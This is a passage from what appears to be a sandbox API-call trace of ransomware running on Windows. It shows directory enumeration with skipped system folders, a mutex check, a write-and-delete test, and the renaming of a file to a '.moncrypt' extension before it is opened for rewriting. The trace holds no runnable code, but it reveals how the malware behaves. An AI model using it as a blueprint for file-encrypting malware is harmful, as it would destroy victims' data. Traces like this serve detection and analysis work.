ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뻜R企@\x18?T\x18;")) returned 0xffffffff [0051.689] GetLastError () returned 0x2 [0051.689] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.689] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a188, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0051.689] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@儔R企@\x18?T\x18D")) returned 0xffffffff [0051.689] GetLastError () returned 0x2 [0051.690] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a188, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0051.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18뻜R\x18j")) returned 0xffffffff [0051.690] GetLastError () returned 0x2 [0051.690] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.691] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@儔R企@\x18?T\x18q")) returned 0xffffffff [0051.691] GetLastError () returned 0x2 [0051.691] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.691] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a188, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뻘RP") returned 6 [0051.691] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.691] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뭼R企@\x18?T\x18y")) returned 0xffffffff [0051.691] GetLastError () returned 0x2 [0051.691] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.691] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a188, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0051.691] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0051.692] GetLastError () returned 0x2 [0051.692] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.692] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a188, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0051.692] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@儔R企@\x18?T\x18\x88")) returned 0xffffffff [0051.692] GetLastError () returned 0x2 [0051.692] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.692] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a188, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0051.693] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.693] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뭼R企@\x18?T\x18\x8f")) returned 0xffffffff [0051.693] GetLastError () returned 0x2 [0051.693] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.693] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a188, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0051.693] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.693] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0051.693] GetLastError () returned 0x2 [0051.693] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.694] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a188, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0051.694] GlobalLock (hMem=0x440004) returned 0x550170 [0051.694] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.694] GlobalUnlock (hMem=0x440004) returned 0 [0051.694] GlobalLock (hMem=0x440004) returned 0x550170 [0051.694] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.694] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.694] GlobalUnlock (hMem=0x440004) returned 0 [0051.694] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.694] GlobalUnlock (hMem=0x44000c) returned 0 [0051.694] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.694] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.694] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0051.694] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.694] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0051.694] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0051.695] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.695] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.695] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.695] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0051.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1e8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.695] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.695] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.695] GlobalUnlock (hMem=0x44000c) returned 0 [0051.695] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.695] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.695] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.695] GlobalUnlock (hMem=0x44000c) returned 0 [0051.695] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.695] GlobalUnlock (hMem=0x440004) returned 0 [0051.695] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.696] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a188, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.696] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a188, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.696] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0051.696] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0051.696] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.696] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a188, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0051.697] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a188, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.697] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a188, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.697] GlobalLock (hMem=0x440004) returned 0x550170 [0051.697] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.697] GlobalUnlock (hMem=0x440004) returned 0 [0051.697] GlobalLock (hMem=0x440004) returned 0x550170 [0051.697] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.697] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.697] GlobalUnlock (hMem=0x440004) returned 0 [0051.697] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.697] GlobalUnlock (hMem=0x44000c) returned 0 [0051.697] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.697] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.697] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0051.697] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.697] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.698] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.698] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.698] GlobalUnlock (hMem=0x44000c) returned 0 [0051.698] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.698] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.698] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.698] GlobalUnlock (hMem=0x44000c) returned 0 [0051.698] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.698] GlobalUnlock (hMem=0x440004) returned 0 [0051.698] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.698] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0051.699] CloseHandle (hObject=0x18c) returned 1 [0051.699] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\я")) returned 1 [0051.700] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 0x54e240 [0051.700] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.700] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.701] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", dwFileAttributes=0x20) returned 1 [0051.701] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.moncrypt")) returned 1 [0051.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.704] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 